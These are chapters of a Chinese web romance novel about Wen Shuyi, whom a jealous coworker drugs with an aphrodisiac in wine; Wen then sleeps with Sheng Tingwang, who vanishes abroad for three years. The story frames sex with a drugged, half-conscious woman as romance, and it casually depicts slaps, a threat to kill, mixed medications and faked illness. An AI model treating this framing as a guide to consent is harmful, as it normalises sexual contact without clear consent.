温疏亦将手边的资料一放,看向她,“那你说,为什么大家看我的眼神,好像我做了什么见不得人的事情一样的?” “那是因为,今天张纶,张特助亲自过来说了要把你调走的事情,大家都觉得,你有后台。”沈馨晚用手肘碰了碰温疏亦的胳膊,“张特助是不是你的人脉啊?都是一家人,这种好事,你倒是藏着掖着了。” “那你让许主管也泼你一脸热咖啡,这好事,也算有你一份。”温疏亦冷了句。 沈馨晚碰了一鼻子灰。 闷哼道,“你可是越来越不识好人心了。” 沈馨晚是气不过温疏亦,有如此好的运气。 那可是设计部,不光实习的底薪要高,转正后,还可以成为独立设计师,要是拿到一个可观的项目,那提成几十万不在话下。 她也是学设计的,不比温疏亦差,这好事,怎么就没轮到她头上。 思来想去的,沈馨晚想取而代之。 转身。 她去了许初音的办公室。 “许主管。”沈馨晚扬起恭维的微笑,“温疏亦过来办理调职的事情了,今晚咱们部门不是有一个跟宋总的应酬吗?还让她去吗?” 许初音敲打键盘的指尖一顿。 那个姓宋的酒量不是一般的大。 喝不尽兴,他还净事。 她可是应付够了这位爷。 “温疏亦,会喝酒吗?” “她不但会喝,酒量还不小呢。”沈馨晚跟盛家人很熟,许初音对她的话,有几分相信,“那你跟她讲一声,问问她的意见。” “好的许主管。” 沈馨晚走出许初音的办公室。 扭着腰枝,来到了温疏亦的身旁,“你正式调职离开得明天了,今天晚上,有一个应酬,许主管说,让你参加,你没意见吧?” 似是怕温疏亦拒绝,沈馨晚又补了句,“不管怎么说,今天,你还算是这个部门的人,别做得太让人诟病了,好聚好散吧。” 来天景集团,是温疏亦的第一份工作。 应酬是什么样的,她压根不清楚。 应该是吃吃饭,唱唱歌? 倒也能接受。 “知道了。” …… 应酬。 许初音没到。 只有沈馨晚和几个同事,包厢很大,很热,同事们把温疏亦身旁的位子留了出来。 半个小时后。 一个三十五六岁的男人,顶着个大背头,走了进来。 大家纷纷起身,“宋总好。” 宋玉在众人中,一眼就看到了长相出众的温疏亦。 二话没说,一屁股坐到了她身旁,“看来,这里面你最能喝。” 温疏亦一懵。 喝酒吗? 她没有酒量,也没什么酒品。 该死的沈馨晚,给她下套。 “宋总,我酒量不行,要不,您喝,我给您倒酒?”温疏亦嬉皮笑脸地,想躲过这一劫。 宋玉倒也好说话。 冲大家示意,“先吃饭。” 同事们敬过宋玉一杯酒后,纷纷找理由退场。 最后一个离开的是沈馨晚,“不好意思宋总,我女儿还在家里等我回去陪她睡觉呢,实在是不好意思,不过,咱们疏亦酒量挺好的,您别客气,她一定把您陪高兴了。” 沈馨晚喝完最后一杯,闪了。 出来的时候,将一些不明的药粉,倒在了一瓶酒中,用力的晃了晃。 然后,佯装忘记了什么,又杀了个回马枪,“不好意思宋总,这是我们来时,许主管备的好酒,千叮咛,万嘱咐的,差一点把它给忘了,疏亦,你可以一定要陪好宋总,我先走了。” 沈馨晚将酒放下后,走了。 场面有些奇怪,偌大的包厢里,只留下了宋玉,他的秘书,还有温疏亦。 温疏亦觉得可笑。 这套下的……也太没有技术含量了。 第18章 我们结婚吧 “宋总,你觉得这酒,还要喝吗?”温疏亦环视四周,空空荡荡的,“要是你真想喝,我带你去个地方,保准你喝个痛快。” 宋玉一时好奇。 当即拍板,“那敢情好啊,去哪儿?” “一个小胡同,那里的酒可是自家酿的,保准你喝得痛快,还不上头。”说着,温疏亦拍了拍宋玉的肩,“走吧,我请客。” 宋玉看了秘书一眼,“你先回去吧。” 跟着温疏亦。 来到了一家小酒馆。 酒馆不大。 装修得有一些特色。 温疏亦跟这个老板很熟,但她没有想到的是,会在这儿遇到盛珽妄。 “你怎么在这儿?也是来喝酒的?” 宋玉认出了盛珽妄,刚要打招呼,盛珽妄递了个眼神,他便咽了下去,“那既然遇到了,就一起喝点吧。” “老板,先来三斤芒果烧,最好的那种。” 温疏亦要了酒。 叫着盛珽妄一起过来坐,“宋总是我们部门今天应酬的对象,同事们一个个地都走了,把人扔给了我,我就带这儿来了。” 温疏亦看了宋玉一眼,“对吧,宋总。” 宋玉当着盛珽妄的面,多少有一些拘谨,但还是很认真点头,“没错,没错。” “你们部门应酬,许初音没在吗?”盛珽妄问。 温疏亦也觉得奇怪,“对啊,可能是有什么事情吧,不过,这不算奇怪,最奇怪的是,我们部门的人,一个个的都找机会溜了……” 她不得不考虑是宋玉的问题,“……宋总,是不是他们对你有什么忌惮啊?” “那不能,我这人,就爱喝点酒,咱不干那下三滥的事情。”宋玉端正地坐着,头摇着像梆子。 盛珽妄淡淡地扫了一眼宋玉。 他对这个人还是了解的。 爱喝酒,但酒品还不错,结过婚了,身上也没有乱七八糟的事情。 “以后,谈生意就谈生意,别跟喝酒混为一谈。” 宋玉连忙点头,“你说的是,我改。” 温疏亦:…… “你们……认识啊?” “算是朋友。”盛珽妄说。 温疏亦没深究,“那确实还挺巧的。” 有盛珽妄在。 宋玉没敢撒开喝,浅酌了几杯后,找了个借口就走了。 小酒馆很暖和。 尤其是喝了点酒,暖洋洋的,温疏亦直打瞌睡,“我这次喝酒,绝对不乱性,你放心,我保证,不再睡你了。” 她两颊绯红。 笑得跟个傻子似的。 盛珽妄想到了那晚。 她也这是样说,“我绝对不跟不认识的男人,发生关系,如果要发生,那真的是因为,长得太帅了……” 那时,她把他压在身下,一边擦口水,一边亲他。 像个花痴。 “温疏亦,我们结婚吧。”他很认真地说。 温疏亦似听,似不到的,在脑门上打了个问号,“你说什么婚?离婚?我还没结婚呢,怎么离啊?我那叫分手,我和盛励分手了,我不爱他了,他不能生育,还劈腿,天底下哪有这么不要脸的人,他的罪过罄竹难书,闻所未闻。” 温疏亦把自己说恶心了。 一拍脑门,“对了,我刚刚把许主管的好酒给拿回来了,我刚刚扫了码,挺贵的,我都没舍得让宋总喝,咱们两个喝一杯。” 温疏亦把酒打开。 给自己和盛珽妄各倒了一杯。 盛珽妄端起酒杯,刚要喝,指尖突然顿住…… 当特种兵的经验,让他有一种异于常人的敏锐,对所有入口的东西,他都能第一时间,分辨出有没有问题。 这酒……里面下了药。 还是挺烈的春药。 “好香啊。”温疏亦端起酒杯往嘴边送。 “别……”喝字还没说完。 温疏亦已经将杯里的酒,如数地灌进了喉咙。 盛珽妄放下酒杯。 牵起温疏亦的手,就往外走,“回家。” “还没喝尽兴呢。”温疏亦觉得更热了,风一吹,她上头上的厉害,意识有一些模糊,“头,好晕……” 盛珽妄弯身抱起她,直接扛在了肩上。 走出酒馆胡同。 张纶开着车子过来接他,“盛总,温小姐这是怎么了?” “喝醉了,回家。” “是。” 药劲上来。 温疏亦还没到家,就想扒光盛珽妄的衣服。 张纶油门踩出火星子,在二人没有车里失态之前,送到了家门口。 看着盛珽妄抱着温疏亦下车。 他擦了把额头的汗,幸好没看上活春宫。 要不然,他辈子都得变哑巴。 卧室大床上,浮浮沉沉,温疏亦不算老实,衣服扯得乱七八糟。 他眼底的暗色汹涌。 大手握住她的腰,力道蛮横。 一次过后,她似是清醒了许多,哼哼唧唧的说的都是小时候的事情。 “你会帮我找到弟弟的对不对?” “你会帮我查出我爸妈死亡的真相,你会还他们一个公道的,是吗?” “盛珽妄,我现在只能依靠你了,我可以相信你吗?” 他的大手怜惜地抚着她的小脸。 幽深的眸底除了欲念,还有情动,指尖轻轻的拂过她的满是湿意的眼角,然后很温柔地亲吻了她的眼睛。 “疏亦,我会帮你,相信我。” 他呼吸变得深沉。 耐心地与她接吻。 他不是没见过女人,如此令他心疼,心疼到想用一生去爱的女人,不多。 这不是可怜。 是他难得遇到一个跟他契合的人,哪怕,只是从身体开始。 “疏亦,我们结婚吧,嫁给我,嗯?” 温疏亦脑袋不算清醒的情况下,完全清晰地听到了这句话。 她迷离的眸子,在此时,显得格外的清亮。 “你说……结婚?” “对,结婚。”他大手握着她的腰,肌肤紧紧地贴合在一起,“天亮我们就去领证,好不好?” 温疏亦大脑有点宕机。 她以为……他说的在一起,是做小三,怎么…… “你……你喜欢我?”她不确定,甚至觉得绝无可能。 最有可能的原因,就是……他想负责。 因为那是她的第一次。 男人嘛,总得做点什么,才能对得起自己的良心。 “如果是因为……负责,其实……” “不是负责,是喜欢。” 温疏亦承认,此时此刻,她心动了,是那种疯狂的心动,喜欢或是爱的最高境界,就是给她一个名正言顺的名份。 他愿意娶她,愿意让她成为盛太太,她……愿意嫁给他。 男人将唇贴到她的耳垂下,轻咬了一下,“你呢,喜欢我吗?” “嗯。”她搂紧了他的脖子,靠着他的耳边说,“我们结婚。” 夜色旖旎。 月光染白了窗纱。 热烈的躯体,在黑夜中绽放…… 第19章 听说他出国了 隔天。 温疏亦醒来时,已经日上三竿。 盛珽妄没在。 她抓着被子,想到昨晚的情事,脸又红又烫。 她挺主动的,要了一次又一次,他体力好得惊人,不愧是特种兵出身,让她体会到了前所未有的快乐。 昨天晚上,他在她耳边说过好几遍,今天要跟她领证。 结果,她睡过了头。 他怎么也没有喊她? 起身,她套了件衣服,揉着惺忪的睡眼,走出去,“三爷,盛珽妄……” 家里很安静。 平时这个时间,唐伯买菜都应该回来了。 家里没人。 “盛珽妄。” “三爷?” 她找遍了家里的角角落落,空空如也。 她转身回了卧室。 床头柜上,有一杯牛奶,牛奶杯下面,压了一张纸条。 内容:有急事要出国一趟,等我回来,我们就结婚。 字迹遒劲有力。 字体非常的漂亮。 温疏亦心口小鹿乱撞,她轻轻地吻了吻纸条,喃喃:“好,我等你回来。” 她心情挺好的,洗了个澡,扫了辆共享单车,去公司。 今天她会去新的部门报道。 但是需要,回原来的部门拿自己的东西。 收拾东西时。 沈馨晚盯着她,上下左右地看,注意到了她脖子那没有遮好的吻痕,“你……昨天晚上……宋总劲挺大啊,也不注意一下,看把你搞的。” 温疏亦漂亮的眉眼一沉。 想到了那瓶被下了药的酒。 抬手就给了沈馨晚一个巴掌,“那酒里的药是你下的?沈馨晚,你还真是下三烂,什么阴招都用在我身上了,怪不得你家米米那么小就那么坏,全是遗传了你。” “温疏亦,你疯了你,你竟然打我,我,我……”沈馨晚扬起手,就要还回来,被温疏亦狠狠攥住手腕,“你想告诉盛励?我告诉你沈馨晚,你告诉谁都没有用。我警告你,以后再往我身上使阴招,我就把你和盛励的那些事,写成,全烧给你老公。” 沈馨晚似是明白了。 温疏亦昨天没有跟宋玉发生什么。 那她这脖子上的吻痕哪里来的。 “温疏亦,你怎么变成这样了?以前你的温驯和低三下四,都是装的是吧?” “你管我是不是装的。”温疏亦今天心情不错,她拿起单子,去找许初音签字,“反正,你最好别惹我,我可是会咬人的。” “温疏亦,许主管请了长假,没人给你签字。”沈馨晚在她身后说。 温疏亦脚步顿住,许初音请假了? “她没在?” “听说,她的父亲得了急症,她出国了……”沈馨晚走到温疏亦的面前,贱兮兮的,“……对了,我听说,和许主管一起去国外的,还有盛珽妄。” 温疏亦心咯噔。 盛珽妄和许初音去国外看望她的父亲去了? 所以…… 他说的急事,是做这事去了? 突然,心口一点点变凉。 渐渐蔓延到四肢百骸。 沈馨晚轻笑,“看来,昨天晚上,你是和盛珽妄在一起了,挺意外的吧,他爬出你的被窝,就跟自己女朋友去处理家事了,说白了,你就是个替补,空闲时的消遣,当真,可就真成笑话了。” 沈馨晚的尖酸嘲讽。 温疏亦顾不得去感受和回击。 躲起来给盛珽妄打了个电话。 哪怕他解释一句,她都愿意相信他,没有骗他。 然而…… 手机一直没有打通。 再打过去,就关机了。 温疏亦苦笑,所以,他说的娶她其实就是假的,就是为了哄她心甘情愿地跟他上床。 是这样吗? 而她,连男人在上床时说的情话,竟然也信了。 温疏亦不愿意这样想。 这里面一定有误会。 盛珽妄对许初音不一定是那样的。 尽管温疏亦强迫自己不去乱想。 但她还是有一些失魂。 好在,新转去的部门,大家都还算和善,知道一些她的遭遇,有心软的,还说了不少安慰她的话。 三天的适应下来。 她觉得新部门人,比起之前呆的那个部门,有人情味不少。 工作安顿下来。 她又给盛珽妄打了个电话。 依然是无人接听的状态。 她给他发了很多信息。 [那边的事情,处理完了吗?能回个电话吗?信息也行。] [我很担心你,如果不忙的话,请回个信息。] [盛珽妄,你是不是出什么事情了?可以接个电话吗?] 消息,几乎都石沉大海。 她也试图联系过唐伯,和盛珽妄的情况差不多,电话是永远打不通的,信息永远是不回的。 有时,温疏亦在想。 他不想娶她就算了,不至于这样伤人,又逃避。 也许,他真正爱的确实是许初音。 她其实能接受的。 只要跟她说一声,她又不是死缠烂打的人。 上过一两次床而已,又不是什么大不了的事情。 没有消息的日子里。 温疏亦一边努力工作,一边痴心妄想地,等着盛珽妄回来给她个解释。 一月又一月,一季又一季,一年又一年,他的手机从无人接听,变成关机,变成空号。 他和唐伯,连同他的诺言,就那样在她的世界里消失了。 直到手中,他留下的那张纸条上字迹的颜色,浅到看不见,她终于放下了执念。 三年后。 温疏亦和同事去见一个客户。 客户选在了一个海岛上见面。 她看了眼天气预报,这几天有台风登陆,跟客户联系好具体见面的时间,不出意外的话,可以赶在台风来临前,离开海岛。 “尔非,设计稿什么的,再检查一下,确保没有差错。”温疏亦语气温和。 张尔非点头,“好的,疏亦姐。” 温疏亦专注地盯着自己的电脑屏幕。 三年的时间,她褪去了青稚和笨拙,设计部的确更适合她,在这里,她得到了很多帮助,成长得很快。 现在已经是独立的设计师。 最近一年来,她的业绩涨得很快,到年底,除了业务提成,还有会一部分奖励和年终奖。 她已经打算要供一个小屋了。 三年的时间,说长不长,说短也不算短。 她很坚强,熬过来了,她和盛励要彻底划清界线这事,也得到了盛家人认可。 尽管温家人,还是对她所做的决定,有很多不不满。 见她倔强,也就不管了。 她过得也还可以,除了还是没有弟弟的消息。 父母调查重启后,遇到了众多的困难,暂时搁置,她一直在打听,再次重启调查的时间,也没有任何有用的消息。 除了等,就是等。 至于盛珽妄…… 那次情事后,温疏亦怀孕了…… 第20章 他结婚了,婚礼盛大 只不过是宫外孕。 她是在出租屋里大出血,疼晕过去,被房东发现,送去医院,才捡回的一条命。 从那以后,她失去了一半的生育能力。 盛励,和盛珽妄接二连三的伤害,已经让她对男人彻底失望。 目前,她只有一件事情。 那就是赚钱找弟弟。 合上电脑,温疏亦端着咖啡,来到酒店客房的阳台。 天空蔚蓝。 海风习习。 风和海浪都很温柔,怎么看,也不像是来台风的样子。 “疏亦姐,是不是想下去洗海澡了。”张尔非笑着说。 温疏亦淡淡扯了扯唇,“是挺想的,不过,得先工作完了再说。” “这个客户要求挺多的,还没见面,咱们的设计稿都改过五遍了,来之前,我又重新给他看了,他竟然说,还是第一版好。” 张尔非表示无奈。 温疏亦也只是笑笑。 三年了,她见过了太多这样的客户。 改稿,已经成了她们工作的常态,用第一版的概率,也一直居高不下。 张尔非做完手头的事。 走过来,跟温疏亦站在一起,面向蔚蓝色的大海,顿时什么疲惫感也没有了。 “听说,咱们设计的这款戒指,是客户求婚用的,疏亦姐,你看,这个世界上,还是有爱情的。” 张尔非满眼的羡慕。 温疏亦却心如止水。 爱情当然有啊,只是与她无关而已。 “想恋爱了?” 张尔非脸色一红,“想归想,但要找一个看上眼的,还真的挺难的。” “那就慢慢找。” 海风拂过脸庞,远处的沙滩,游人如织。 张尔非看到了一道熟悉的身影。 再三确定后,指向前方,跟温疏亦说,“你看,那个是不是你原来的主管,许初音啊?” 这个名字。 在她的世界里消失了三年。 温疏亦有一些恍惚。 抬眼间,一男一女正并肩走在沙滩上。 女的身材窈窕,漂亮的比基尼外面,披了一件彩虹颜色的纱巾,格外招眼。 男人白色的短袖和黑色的短裤,陪在女人身边,步子不算大,像是迎合她的步调一般,高大修长的身材,和过于优越的长相,吸引了不少路人目光。 尤其是,那根银色的手杖太过于耀眼,她想忽略都很难。 他回来了。 和许初音一起。 这次心里的难受劲,比盛励背叛她时,还要猛烈一些。 温疏亦的心脏有点不舒服,如被重捶过一般,很钝很钝的窒息感。 温疏亦捂着胸口,背过身,靠在栏杆上,大口地呼吸。 张尔非吓坏了,忙扶住她,“疏亦姐,你怎么了,不舒服吗?” “可能是……有点太热了,没事。”她快步走进了房间,给自己倒了杯冰水,一口闷下。 片刻冷静过后。 她承认,盛珽妄这种毫无防备出现,让自己的心情被惊扰到。 客户打来电话,说人到了。 温疏亦立马整理好情绪和张尔非去见面。 她没有想到的是,对方竟然是盛励。 温疏亦一瞬间,没了心情。 “怎么是你啊?”客户信息一直保密,署名也是S先生,“你花这么多的钱,设计订婚戒指,难不成,你要向沈馨晚求婚?” 温疏亦将设计稿放下,对张尔非说,“你在外面等我一下,这里交给我就好。” “疏亦姐,你……自己,可以吗?”张尔非担心。 温疏亦点头,“有事,我会叫你的。” “好。” 房间里只有他们两个人。 温疏亦将稿子,递过去,“根据你的要求,用了第一版。” 盛励没看。 而是将设计稿合上,放到了一旁,“疏亦,三年了,你对我的恨,应该也放下了吧?这枚戒指,是我用来向你求婚的,只要你肯嫁给我,我可以用一千倍,一万倍的爱回馈你。” 温疏亦刚刚看到盛珽妄和许初音在一起,已经很难受了。 盛励又来恶心她。 还让不让她活了,“你也知道三年了?我是有多不值钱,还要吃你这颗回头草?你到底有哪里好,值得我再跟你重蹈覆辙?” “我知道,我以前做了很多伤你心的事情,这三年,我也一直在反省。”盛励掏心掏肺地说,“你看,我和沈馨晚已经分手了,知错就改,再给我一次机会,我会好好爱你的。” 温疏亦翻白眼。 盛励和沈馨晚分手,可不是因为盛励良心发现,自己是个渣渣。 想改过自新。 是沈馨晚跑到盛老太爷面前,说自己怀孕了,哭着要盛励给名分。 盛励没有生育能力这事。 盛家的长辈都知道。 这无疑把盛家人的脸面,刷上了一层绿漆。 盛老爷子盛怒。 从此,沈馨晚不准再出现盛家。 盛励也受到了牵连,再加上他和沈馨晚说不明白,越搞越烦。 思来想去的,还是觉得温疏亦好,跟沈馨晚闹了分手。 前几天。 网上还有一则关于沈馨晚割腕自杀的新闻。 想到这些事情,温疏亦只觉得脑子里塞了太多无用的信息,头疼,“别,你这机会还是给别人吧,盛励,我们这辈子绝无可能,放过彼此吧。” “难道,你还想等盛珽妄回来?” “这跟你又有什么关系?”温疏亦的心被搅乱了,一时脾气上来,“盛励,就算天底所有的男人都死光了,我也不会再嫁给你,你少东扯西扯的。” 盛励没生气,反而笑了。 他慢条斯理地,抽了根烟,递到唇上,“一提到盛珽妄,就跟踩了你的尾巴一样的,我实话跟你说吧,盛珽妄在国外已经和许初音结婚了,爷爷被请去做了证婚人,婚礼很盛大,三年……呵,说不定,人家孩子都生了。” 盛励的话,就像浮在半空中的玻璃球。 突然失去重力后,狠狠摔碎在了地上。 无论里面盛了多么珍贵的东西,碎了,脏了,乱了,也不成样子了。 好。 很好。 有些人错过,还真是谢天谢地。 “所以呢,我离了你们姓盛的,就找不到男人了?”温疏亦起身,将面前咖啡,直愣愣地泼向了盛励,“以后尽量少出现在我面前,下一次,我可能会杀人。” 盛励抹了把脸。 咖啡将他身上的白色T恤染脏,他丝毫不介意,“你脾气可是越来越大了,不过,我还真就喜欢这样的你,以前,你就是太乖顺了,才会让我失去兴趣,真的疏亦,我们重新在一起吧。” “滚。” 温疏亦拿起设计稿。 走出了房间。 门摔得很响。 像是要提醒自己,相信男人,真的会倒霉一辈子。 她失态了。 脚有些软,东撞西创的,一不小心就,撞到了别人身上,“对不起,抱歉,不好意思。” 第21章 男人有什么好的 温疏亦接连道歉。 对面的人没有说话,只是抬手扶住了她。 温疏亦深呼吸了两口,这才挂着微笑,抬眸,“谢……” 礼貌的弧度,凝滞在唇角。 她的心莫名疼了一下。 是盛珽妄。 他们就这样,在三年后,猝不及防地见到了。 痴恨怨念的感觉没那么强烈。 更像是旧人重逢。 “好久不见,疏亦。”他望向她的目光,透着令她不安的信息在。 温疏亦慢慢地抽回了自己的胳膊。 往后退了一步。 “确实,好久不见。” “可以找个地方说说话吗?”他往她面前走了一步,温疏亦接连后退了三步,扬起笑脸拒绝,“不了三爷,我还有重要的事情要做,先走了。” 她没有一丝留恋地与他错身。 他凝望向她的背影,陷入了三年前的那场情事当中。 她的长发缠在他的指尖。 喘息,陶醉。 汗水淋漓间,她的小手抱紧了他的腰。 那抹柔软的触感还在。 可她的长发,早已不见。 温疏亦是逃回房间的。 遇到盛励是意外,和盛珽妄当面撞上,是她想都没有想过的事情。 人倒霉起来。 真是连喘口气的机会都不给她。 “疏亦姐,客户那边怎么说?”张尔非看温疏亦脸色不太好,给她端了杯冰可乐过来,“疏亦姐,你要是不舒服,就先休息吧,工作的事情,我来完成。” “抱歉啊尔非,这单设计,恐怕是要打水漂了。”温疏亦说。 张尔非不解,“他不满意我们的设计吗?我可以再改一改的。” “他是我前男友,一个劈退渣男,我们三年前分手了,不知道他怎么想的,来设计这枚戒指,说是想跟我破镜重圆。”温疏亦实话实说了,“我没同意。” “卧C,”张尔非骂了句脏话,迅速想通,“那这单生意,不要就不要吧,前男友这种生物最是恶心人,疏亦姐,我支持你,咱们就当来度假了,反正,CICI姐那边好说话,回去解释一下就好了。” “连累你了尔非。”温疏亦是抱歉的。 张尔非摆手,“没有的事儿,别往心里去,你先休息。” …… 张尔非订了回城的船票。 最早是明天的。 眼瞅着就要变天了。 手机收到信息,所有的船只不再出港。 台风提前登录。 整个酒店,都高度戒备。 游客们都出不去。 哪儿哪儿都是人。 张尔非去吃饭去了。 温疏亦一个人在客房里,望着外面的狂风暴雨失神。 她宫外孕那天,也是这样的天气。 风很大。 雷电交加。 从手术室里推出来时,她冷得全身发抖。 她拿出手机,给盛珽妄发了条信息,[你能不能回国一趟?] 他没回。 也许是那时,她死了对他所有期待的心。 盛励说,盛珽妄和许初音结婚了。 挺好的,昔日的白月光,成了他梦寐以求的新娘,人家不嫌弃他曾经身体上的背叛,肯跟他好好过日子,他应该更爱了吧。 温疏亦笑自己。 说到底,无论是与盛励的两年,还是与盛珽妄的两次,她都是一个笑话。 所以啊,男人有什么好的。 门被敲响。 温疏亦发现自己的眼角湿了。 她去洗了把脸,这才开门。 是盛珽妄。 她条件反射般的,去关门,被他抬手挡住,“就这么不想见我?” “三爷说笑了,我和三爷还没有熟到,一日不见如隔三秋的地步。” 她清冷的眼皮,缓慢地掀起,无论她如何掩饰,眼底那抹怨恨还是有了一丝端倪。 盛珽妄望着她强装冷漠的眼睛,淡声,“可我很想你。” 温疏亦笑了。 同样的手段,还要用多少次,才能验证她真的蠢得无可救药。 “看来,三爷的夫妻生活过的……不算愉快,抱歉啊,我不卖的。” “你知道这三年我……”盛珽妄想解释些什么。 温疏亦扬起笑脸,打断了他的话,“……三爷的三年是如何过的,不必跟我讲,我没有兴趣听。” “那就说说,你这三年怎么过的?” 温疏亦像听到了什么可笑的事情,“我这三年怎么过的,我更没有兴趣讲给一个外人听。” “何必这样呢?”他皱眉。 温疏亦淡而无味地看着他,“三爷,想怎样才满意?我想,我与三爷没什么交集和过结吧?难不成,在我不知道的情况下,得罪过三爷?三爷要是成心跟我过不去,那是不是得给我个理由?” 男人脸色不算好看。 他直接一步迈进去,将门关上了。 温疏亦后退了三步,满是戒备地看着眼前这个高大的男人。 这是恼羞成怒了? 就算是该怒,也该她先怒吧。 他往前一步,她就后退一步。 直到后背贴到墙面上,她才退无可退地,重新拾眸,看向了他,“三爷这是要干什么?要以大欺小?” “还记得我大?”他唇角若有似无地勾了一下。 温疏亦脸色瞬间漫上一抹该死的潮红。 她怀疑他在开车,不耐蹙眉,“你到底有什么事情?” “想我了没有?”他的胸膛紧紧地抵着她,声音听起来,有一些情动。 距离产生暧昧,温疏亦动弹不得。 她讨厌这种暧昧,和他身上过分熟悉的气息,“我想你干什么?真是搞笑。” “那天,离开的时候匆忙……”他试图解释三年前的事情。 温疏亦压根就不想听,“那天?哪天?三爷是不是记错了?我们私下很熟吗?如果我没有记错的话,三爷好像结婚了吧?你这样跟一个妻子以外的女人,以这种距离相处,恐怕……不合适吧?” “你在意?”他压低声音。 温疏亦觉得他在装傻,纠正,“我在意我的名声。” “你确实挺在意自己的名声的,这三年,连个男朋友都没有交。”他的大手握住她的下巴,自然地去吻她的唇。 温疏亦偏过头,他的唇擦着她的耳垂,没能得逞,“怎么?三年了,连接吻都不会了?” 温疏亦扭过脸来。 漂亮的眸子,透出怒气,“你有病吧?我跟你什么关系,还要跟你亲上了?盛珽妄,你一个结了婚的男人,哪来的自信,要别人接受你的发情?” 她用力地推了他一下子。 他纹丝没动。 温疏亦更生气了。 “有事说事,没事请出去。” 她要离开。 他压着她,偏不让。 纠缠间,她在他的胳膊上咬了一口,很深,牙印明显。 “就这么恨我?”他很想抱抱她,可她对他抗拒得厉害,“不解气的话,可以打我几巴掌。” 第22章 也是够贱的 温疏亦眼眶红了。 她确实挺恨的。 恨他花言巧语,答应她的事情一件没有做,就消失了三年。 她更恨自己,那么容易相信人。 在被盛励欺骗后,仍然选择了相信盛珽妄这种男人,然后……伤痕累累。 她用三年的时间,逼着自己成长。 舔干自己带血的伤口。 重蹈覆辙这个词,不会再出现在她的字典里。 “三爷为了偷情,也是够贱的。”温疏亦抬腿,直接顶向了男人的裆下。 盛珽妄没有防备,这一下,力道不算浅,身子疼得蜷了起来,“温疏亦,你以后还用不用了?” “爱谁用谁用去。”温疏亦脱身,几步走到门口前,将门打开,“三爷请便吧。” 刚好这时,张尔非吃饭回来。 看到房间里多了个男人,不禁犯疑,“这人谁啊?你朋友啊?” “不算朋友,顶多算是认识。” “他……”张尔非看向盛珽妄蜷起的身子,明白了,“……,不会又是一个前男友吧?疏亦姐,他是不是想非礼你?要不要,我帮忙报警?” “不是前男友,最多算是个炮友,不用报警我嫌麻烦,让他走好了。” 张尔非:……炮……友? 盛珽妄有点狼狈,但也没有纠缠,“疏亦,我们马上会再见的。” 门,关上。 温疏亦像抽了气的皮球。 瘫软在沙发里。 张尔非不爱打听是非,但这也太巧了吧。 两个有关系的男人,同时出现在这个小海岛上,“疏亦姐,你挺闹心的吧?” “是有点。”温疏亦揉捏着眉心,挺尴尬的,“让你看笑话了。” “也没有。”张尔非也是女人,女人总归是心疼女人的,“就是觉得这事,谁遇到,谁都烦,疏亦姐,那我就不打扰你了,我先回房间了。” 给温疏亦倒了杯咖啡,就回自己的房间,跟朋友聊语音去了。 台风势头很猛。 天气预报说,至少得三天。 她打开电脑。 在寻亲网站上,查询着相关的信息。 没什么有用的。 她便又关了电脑,准备去酒店的厨房找点吃的。 温疏亦给了些小费。 厨房里的值班大姐,给她炒了个海参炒饭。 期间,有一个背着小孩子的女人,过来厨房要一些吃的。 值班大姐,没好气地赶她,“去,去,去,这里哪有东西给你吃,你这么年轻,倒是找个活干啊,靠要饭,也太没有骨气了吧。” 背孩子的女人,看起来脏脏的,但年纪并不大。 小孩子有个一岁多一点的样子。 值班大姐一吵,小孩子哇哇地哭了起来。 她刚要再赶,温疏亦便开了口,“大姐,再给她炒份饭吧,我来给钱。” “你别太善良啊,这种人不值得可怜的。”值班大姐,重新开了火,一边炒饭一边说,“这个女人在这儿呆了有段日子了,她男人从来没有找过她,起初,我还以为她男人死了,根本就不是,他男人啊,也是个好吃懒做的,就等她要到饭回去一起吃呢。” 世间百态。 温疏亦没往心里去,只当日行一善。 她帮忙付了钱后。 一个人去了酒店楼顶的阳光房。 雨势很大。 阳光房的天顶玻璃,被敲得像要碎裂开一般。 很晚了。 可她依然没有睡意。 自从盛珽妄莫名其妙地失踪,再加上宫外孕那次的手术折磨。 她得了严重的心理障碍。 失眠,强迫,甚至还有一段时间,她暴躁得厉害。 病得无法控制情绪了。 她就几种药混着吃。 那段时间,她的头发大把大把地掉,后来,她剪短了。 这一年来,她控制还不错。 药量减少了。 脾气也好了很多。 就是失眠的毛病,一直没有缓解。 通常晚上两三点钟才有睡意,早上五六点钟就又醒了。 今天,盛励和盛珽妄轮番轰炸她,搞得她心烦意乱,估计又得一夜无眠。 点了根烟。 她递到唇上吸着。 这里没有人,她不用避讳什么。 指尖的红光闪烁。 与外面的狂风暴雨,形成了极致的反差。 暗处。 男人墨如深渊的眸子,紧紧地盯在她削薄的背上。 指尖的那抹红,和地上散落的烟头,令他的心扯出一抹愧疚的疼。 转身。 他悄无声息地离开。 回到房间后。 许初音已经洗了澡,她最近迷恋了一款香水,很适合调情。 三年了。 父亲出事,生病,守丧,她和盛珽妄,没什么实质性的进展。 如果不是她用一纸假的病例,骗他陪在身边,他早就离开了。 “珽妄,我们什么时候去领证啊。”许初音弯身,坐到了盛珽妄的身侧,“婚礼都办了三年了,这次回华城,我们是不是把结婚证给领了,也算是给我爸一个交代。” 盛珽妄没说话。 他眼眸幽暗,从烟盒里抽了根烟,递到唇上,没点,就那么衔着。 三年前。 许初音的父亲,突然出事。 绑架许父的那些人,是国外一个有名的黑帮。 盛珽妄十六岁去国外当特种兵。 许父待他如亲生。 说是恩人,不为过。 出了这么大的事情,他没法不出现。 那个头目知道盛珽妄的本事,非让他帮着运送军火,事成之后,才答应放许父。 盛珽妄没得选。 那一年,他几乎是枪林弹雨里度过的。 他以为自己不会活着回来,遗书都写好了。 没想到命还挺大的。 自己不光活着回来了,许父也救了回来。 遗憾的是,许父救回来没多久就病重,为了完成他的遗愿,他和许初音办了一场假的婚礼。 许父过世后,许初音病了。 自杀,抑郁,精神状态一直不好,后面,又查出了癌症…… 低头,火机咔嗒,烟点着。 盛珽妄吸了一口,没有任何情绪地说,“我约了顾临,等台风过了,给你检查身体,重新确定治疗方案。” “我不要。”许初音心虚。 如果让顾临检查,她没办法继续骗下去,“我有自己的主治医生,我会定期去国外复诊的,珽妄,乔治医生说了,只要我心情好,我的病也会慢慢好起来的。” 许初音搂上盛珽妄的脖子,撅起小嘴撒娇,“你知道的,我怎样才会心情好,对吗?” “不早了,早点休息吧,我去洗澡。” 盛珽妄推开了许初音。 他走进浴室后。 许初音将桌上玻璃杯,扫落到了地毯上。 她不想回国的。 是盛珽妄要回来,她不得不跟他一起回来。 她知道,盛珽妄回来,是因为温疏亦。 他心里还有她。 不,他一直就没有忘记过她。 第23章 渣男长出来,她就割掉他们的头 台风天。 